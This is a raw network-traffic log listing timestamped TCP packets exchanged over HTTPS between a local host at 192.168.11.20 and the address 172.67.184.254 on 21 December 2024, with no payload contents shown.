Dec 21, 2024 19:24:50.263983965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264031887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264086962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264086962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264158010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.264184952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264184952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264184952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264234066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264234066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264282942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264282942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264332056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264332056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264379978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264477968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264477968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264527082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264544010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.264549017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.264576912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264576912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264576912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264625072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264674902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264674902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264724016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264724016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264822006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264822006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264870882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264870882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264919996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264919996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.264919996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265017986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265017986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265065908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265115976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265115976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265141010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.265163898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265261889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265261889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265311956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265311956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.265361071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265361071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265361071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265361071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265458107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265459061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265505075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.265506983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265605927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265605927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265609980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.265655041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265655041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265703917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265753031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265753031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265850067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265850067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265899897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265899897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265899897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265948057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265997887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265997887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.265997887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266046047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266096115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266102076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.266192913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266192913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266201019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.266242981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266292095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266292095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266292095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266340971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266390085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266390085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266390085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266438961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266486883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266536951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266536951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266585112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266634941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266634941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266634941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266683102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266685009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.266688108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.266731977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266731977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266781092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266829967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266879082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266928911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266928911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266928911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.266977072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267026901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267026901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267075062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267124891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267124891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267222881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267222881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267230988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.267235041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.267271996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267271996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267319918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267319918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267369986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267369986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267369986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267419100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267467022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267565966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267565966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267565966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267663002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267663002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267712116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267712116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267760992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267760992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267810106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267858982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267909050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.267909050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268006086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268006086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268054962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268054962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268105030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268105030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268152952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268152952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268256903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268256903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.268353939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422184944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422255039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422281981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422307014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422461987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422461987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422483921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422549963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422549963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422549963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422549963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422549963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422616959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422617912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422617912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422666073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422744036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422797918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422838926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422838926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422888041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422888041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422939062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422950983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422966957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422970057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422971964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422974110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.422988892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.422988892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423084974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423084974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423132896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423182011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423182011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423230886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423280954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423280954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423280954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423329115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423350096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.423402071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423402071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423402071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423479080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.423492908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423542023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423542023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423542976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423542976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423588991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423589945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423639059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423639059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423746109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423746109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423861980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423862934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423891068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.423926115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423926115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423974991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.423974991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424076080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424076080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424076080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424103975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.424196959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424196959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424246073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424246073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424247026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424293995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424293995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424343109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424441099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424441099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424484015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.424539089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424588919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424588919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424638033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424638033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424685955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424734116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424783945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424783945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424833059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424833059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424882889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424882889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424906969 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.424947023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424947023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424993038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.424993038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425040960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425090075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425142050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425193071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425194025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425194025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425230026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.425270081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425270081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425270081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425318003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425367117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425367117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425467014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425467014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425498009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.425534964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425582886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425584078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425632000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425682068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425683022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425683022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425729036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425780058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425828934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425828934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425926924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425926924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425950050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.425983906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425983906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.425983906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426033020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426033020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426079988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426177979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426178932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426273108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426309109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426309109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426352024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426352024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426357031 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.426399946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426399946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426448107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426496983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426497936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426525116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.426620960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426620960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426670074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426670074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426717997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426768064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426768064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426768064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426865101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426866055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426964045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426964045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426964045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.426987886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.427036047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427036047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427083015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427083015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427130938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427181959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427181959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427279949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427279949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427279949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427330971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427330971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427342892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.427378893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427426100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427427053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427524090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427524090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427541971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.427580118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427629948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427629948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427676916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427676916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427725077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427726030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427773952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427774906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427871943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427871943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427969933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.427969933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428019047 CET	49766	443	192.168.11.20	172.67.184.254
